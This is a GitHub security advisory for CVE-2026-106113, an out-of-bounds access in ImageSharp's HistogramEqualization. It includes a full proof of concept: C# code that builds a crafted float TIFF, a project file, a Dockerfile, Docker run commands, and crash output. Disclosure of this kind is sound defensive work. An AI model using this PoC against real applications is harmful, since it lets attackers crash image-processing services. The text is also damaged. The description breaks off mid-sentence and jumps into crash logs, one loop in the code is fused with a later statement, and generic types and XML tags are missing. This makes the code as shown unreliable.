GitHub Advisoryadvisory · NuGet
GHSA-j3p4-wp97-rph4 ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index
HIGH
Official page ↗
- Aliases
- CVE-2026-106113
- Ecosystem
- NuGet
- Packages
- SixLabors.ImageSharp
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-787
- Reviewed
- 2026-10-07
Affected packages
• NuGet SixLabors.ImageSharp: >= 2.0.0, < 3.2.0 → fixed in 3.2.0
• NuGet SixLabors.ImageSharp: >= 4.0.0, < 4.1.2 → fixed in 4.1.2
Description
Summary
`SixLabors.ImageSharp` can terminate a process when an application decodes
an attacker-supplied 32-bit floating-point TIFF as `Image` and applies
`HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range
`HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based
histogram index without validating that result, reaching an unsafe out-of-range
access.
This report covers `HistogramEqualization` only. It does not claim Adaptive
Histogram Equalization or AutoLevel behavior.
Affected package and versions
• Package: `SixLabors.ImageSharp` (NuGet)
• Affected range: `>= 2.0.0,
Fatal error. System.AccessViolationException: Attempted to read or write protected memory.
...
at SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke
...
at SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization
Docker exit status: 133
```
The control is identical except samples are `0.5`:
```text
mode=control tiffBytes=166 sample=0.5
decoded=8x1 pixel=
completed
Docker exit status: 0
```
When the same exploit binary was invoked through a shell inside the container,
the shell printed `Aborted` and reported status 134. The direct `docker run`
result above is the result for the supplied Docker commands.
No active exploitation is known.
Complete PoC files
Program.cs:
```csharp
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.PixelFormats;
using SixLabors.ImageSharp.Processing;
static class Program
{
private static void AddEntry(List ifd, ushort tag, ushort type, uint count, uint value)
{
ifd.AddRange(BitConverter.GetBytes(tag));
ifd.AddRange(BitConverter.GetBytes(type));
ifd.AddRange(BitConverter.GetBytes(count));
ifd.AddRange(BitConverter.GetBytes(value));
}
// Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples.
private static byte[] BuildTiff(float sample)
{
const int width = 8;
const int entries = 10;
const int ifdOffset = 8;
const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;
List file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00];
List ifd = [];
ifd.AddRange(BitConverter.GetBytes((ushort)entries));
const ushort Short = 3, Long = 4;
AddEntry(ifd, 256, Long, 1, width); // ImageWidth
AddEntry(ifd, 257, Long, 1, 1); // ImageLength
AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample
AddEntry(ifd, 259, Short, 1, 1); // Compression = none
AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero
AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets
AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel
AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip
AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts
AddEntry(ifd, 339, Short, 1, 3); // SampleFormat = IEEE float
ifd.AddRange([0, 0, 0, 0]);
file.AddRange(ifd);
for (int i = 0; i image = Image.Load(tiff);
Console.Error.WriteLine($"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}");
image.Mutate(x => x.HistogramEqualization());
Console.Error.WriteLine("completed");
}
}
```
Project file:
```xml
Exe
net8.0
enable
enable
/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll
/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll
```
Dockerfile:
```dockerfile
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY j3p4.csproj Program.cs ./
RUN printf '%s\n' 'net8.0' > fetch.csproj \
&& dotnet restore fetch.csproj --nologo \
&& rm fetch.csproj \
&& dotnet build j3p4.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/j3p4.dll"]
```
Run:
```sh
docker build -t imagesharp-j3p4-poc .
docker run --rm imagesharp-j3p4-poc exploit
docker run --rm imagesharp-j3p4-poc control
```
Related
Alias · CVE (1)
- CVE-2026-106113 ImageSharp is a 2D graphics library. vulnerability
Weakness · CWE (1)
- CWE-787 Out-of-bounds Write weakness
References
- https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-j3p4-wp97-rph4 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-106113 advisory
- https://github.com/SixLabors/ImageSharp/pull/3187 web
- https://github.com/SixLabors/ImageSharp/pull/3208 web
- https://github.com/SixLabors/ImageSharp/commit/baa37cd19077b2a2a0c5667535111cf31d48c019 web
- https://github.com/SixLabors/ImageSharp/commit/c4c4bf292298c026df470db1a17ff826515fd95d web
- https://github.com/SixLabors/ImageSharp package
- https://github.com/SixLabors/ImageSharp/releases/tag/v3.2.0 web
- https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2 web